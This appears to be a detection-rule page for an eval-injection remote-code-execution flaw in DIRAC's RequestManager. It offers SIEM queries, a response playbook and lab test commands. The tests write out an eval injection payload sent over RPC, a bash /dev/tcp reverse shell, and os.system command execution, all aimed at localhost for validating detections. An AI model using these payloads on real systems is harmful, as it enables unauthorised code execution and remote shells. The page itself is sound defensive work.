Detect DIRAC RequestManager eval() Remote Code Execution (CVE-2026-45579) in Sumo Logic CSE
Detects exploitation attempts and successful compromise of DIRAC's RequestManager component via CVE-2026-45579, a CWE-95 (Eval Injection) vulnerability where untrusted RPC input passed to RequestManager is evaluated via Python's eval() function, resulting in unauthenticated or low-privilege remote code execution. Affected DIRAC (pip package) versions are >=6,<8.0.79, >=8.1.0a1,<9.0.22, and >=9.1.0,<9.1.10. A public PoC exists (GHSA-9jpv-c7p4-997x). Detection focuses on anomalous eval-triggering payloads sent to DIRAC RequestManager RPC/DISET endpoints, resulting child process spawns from DIRAC service processes, and post-exploitation artifacts consistent with grid/HPC computing infrastructure compromise.
MITRE ATT&CK
Sumo Detection Query
_sourceCategory=*process* OR _sourceCategory=*sysmon*
| where parent_process_command_line matches "*RequestManager*" or parent_process_command_line matches "*dirac-service*" or parent_process_command_line matches "*dirac-request*"
| where process_command_line matches "*eval(*" or process_command_line matches "*__import__*" or process_command_line matches "*os.system*" or process_command_line matches "*subprocess*" or process_command_line matches "*socket.socket*" or process_command_line matches "*base64*"
| fields _messagetime, hostname, user, parent_process_command_line, process_command_line
| sort -_messagetime Sumo Logic search identifying child processes spawned from DIRAC RequestManager/service Python processes with eval-injection command-line indicators tied to CVE-2026-45579.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate operator debug sessions using eval() on DIRAC servers
- CI pipelines exercising the vulnerable RequestManager code path in test mode
- Unrelated Python daemons that coincidentally reference similar strings
Other platforms for CVE-2026-45579
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate DIRAC RequestManager eval() RCE via crafted RPC payload
Expected signal: Process creation event showing python3 (DIRAC RequestManager service) spawning /bin/sh -c "id > /tmp/dirac_poc_out" or equivalent child process with eval-injection command-line markers
- Test 2Simulate reverse shell spawned from DIRAC service process
Expected signal: Bash process with /dev/tcp redirection spawned by a process whose parent command line references RequestManager/dirac-service, plus an outbound TCP connection on port 4444
- Test 3Simulate malicious eval() injection payload execution on Windows lab host
Expected signal: DeviceProcessEvents entry showing python.exe spawning cmd.exe/whoami with a parent command line simulation referencing RequestManager, writing output to a temp file
Response Playbook
Triage
- Identify all DIRAC server instances (RequestManager, DISET services) exposed to the network and confirm installed version against affected ranges (>=6,<8.0.79; >=8.1.0a1,<9.0.22; >=9.1.0,<9.1.10) using `pip show DIRAC` or `dirac-version`.
- Review RequestManager service logs and RPC access logs for anomalous serialized requests, unexpected eval() invocations, or malformed request objects around the alert timeframe.
- Correlate alerting host's process tree for child processes (shells, interpreters, network utilities) spawned by the DIRAC service account, and capture full command lines and parent-child relationships.
- Check outbound network connections initiated by the DIRAC service process for connections to unfamiliar IPs/domains, which may indicate reverse shell or C2 callback activity.
- Assess whether the DIRAC instance has access to grid computing credentials, proxy certificates, or job submission capability that could be leveraged for lateral movement into HPC/grid resources.
Containment
- Isolate the affected DIRAC RequestManager host from the network (or restrict to management-only access) while preserving process and network state for forensics.
- Disable or firewall the RequestManager RPC/DISET listening port(s) to prevent further exploitation attempts until the service is patched or replaced.
- Revoke and rotate any grid proxy certificates, service account credentials, or API tokens accessible to the compromised DIRAC service.
Evidence Collection
- Collect full process command-line history, memory dumps, and DIRAC service logs (RequestManager, DISET) covering the suspected exploitation window.
- Preserve network capture/flow logs showing inbound RPC requests to RequestManager and any outbound connections from the DIRAC host for IOC extraction and timeline reconstruction.
- Export DIRAC RequestDB / RequestManager database entries around the incident timeframe to identify the malicious request payload used for eval injection.
Escalation Criteria
- !Escalate to incident response if evidence of successful code execution (unexpected child processes, new user accounts, dropped binaries, or outbound C2 connections) is confirmed on the DIRAC host.
- !Escalate immediately if the compromised DIRAC instance had access to shared grid/HPC computing resources, scientific data stores, or federated credentials, given the potential for lateral movement across research infrastructure.
- !Escalate if multiple DIRAC instances across the organization show similar exploitation indicators, suggesting a coordinated or automated mass-exploitation campaign against the public PoC.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
DIRAC RequestManager and DISET service log files containing raw RPC request payloads - >
Process creation/child-process telemetry (Sysmon Event ID 1 / EDR ProcessRollup2) showing shells or interpreters spawned by the DIRAC service process - >
DIRAC RequestDB database records containing the malicious serialized request that triggered eval() - >
Bash/shell history and dropped files/scripts in the DIRAC service account's home or working directory
Tuning Guidance
Baseline normal DIRAC administrative and CI/CD activity that legitimately invokes eval() or spawns Python subprocesses (e.g., automated test suites, maintenance scripts) and create allowlist exceptions for known service accounts, scheduled task identifiers, and CI runner hostnames. Tune out benign monitoring agents that instrument Python processes with overlapping command-line strings. Increase confidence when child processes include network tools (curl, wget, nc), reverse shell patterns (/bin/sh -i, socket.socket), or connections to external/unfamiliar IPs, and prioritize alerts on internet-facing DIRAC instances given the 9.9 CVSS score and public PoC availability.
Hunting Queries
Broad hunt for any process spawned under the DIRAC service account or from DIRAC installation paths that results in shell, interpreter, or network utility execution, to surface exploitation attempts beyond the specific eval() signature patterns.
DeviceProcessEvents
| where InitiatingProcessAccountName has "dirac" or InitiatingProcessFolderPath has "DIRAC"
| where FileName in~ ("sh","bash","python","python3","curl","wget","nc")
| project TimeGenerated, DeviceName, InitiatingProcessAccountName, InitiatingProcessCommandLine, FileName, ProcessCommandLine
| order by TimeGenerated desc index=edr (User="*dirac*" OR ParentImage="*DIRAC*")
| where Image IN ("*sh", "*bash", "*python*", "*curl*", "*wget*", "*nc*")
| table _time, host, User, ParentCommandLine, CommandLine Atomic Red Team Tests
Sends a crafted RPC request to a lab DIRAC RequestManager instance containing a Python eval() payload to simulate CVE-2026-45579 exploitation and confirm code execution telemetry.
Command
python3 -c "import socket,ssl,json; payload=json.dumps({'method':'requestManager.putRequest','args':['__import__(\"os\").system(\"id > /tmp/dirac_poc_out\")']}); s=socket.create_connection(('127.0.0.1',9143)); s.sendall(payload.encode()); print(s.recv(4096))" Cleanup
rm -f /tmp/dirac_poc_out Expected Telemetry
Process creation event showing python3 (DIRAC RequestManager service) spawning /bin/sh -c "id > /tmp/dirac_poc_out" or equivalent child process with eval-injection command-line markers
Expected Detection
kql and spl rules alert on child process spawned from DIRAC RequestManager parent process containing os.system/eval indicators
Emulates a post-exploitation reverse shell being spawned from a process masquerading as the DIRAC RequestManager service to validate detection of outbound C2-style child processes.
Command
python3 -c "import subprocess; subprocess.Popen(['bash','-c','exec 5<>/dev/tcp/127.0.0.1/4444; cat <&5 | while read line; do \$line >&5 2>&1; done'])" # ParentCommandLine should reference RequestManager for lab simulation, e.g. rename script to dirac-RequestManager-sim.py Cleanup
pkill -f 'dev/tcp/127.0.0.1/4444' || true Expected Telemetry
Bash process with /dev/tcp redirection spawned by a process whose parent command line references RequestManager/dirac-service, plus an outbound TCP connection on port 4444
Expected Detection
elastic_eql and crowdstrike_cql rules flag the bash child process with reverse-shell syntax spawned from a DIRAC-labeled parent process
Executes a PowerShell-based simulation representing a Windows-hosted DIRAC client component invoking eval-like dynamic code execution to validate cross-platform detection coverage.
Command
powershell.exe -NoProfile -Command "$parent='RequestManager-sim'; Start-Process -FilePath python.exe -ArgumentList '-c \"import os; os.system(''whoami > C:\\Windows\\Temp\\dirac_poc_out.txt'')\"'" Cleanup
Remove-Item -Path 'C:\Windows\Temp\dirac_poc_out.txt' -ErrorAction SilentlyContinue Expected Telemetry
DeviceProcessEvents entry showing python.exe spawning cmd.exe/whoami with a parent command line simulation referencing RequestManager, writing output to a temp file
Expected Detection
kql rule (DeviceProcessEvents) alerts on python.exe-initiated child process containing os.system and RequestManager parent context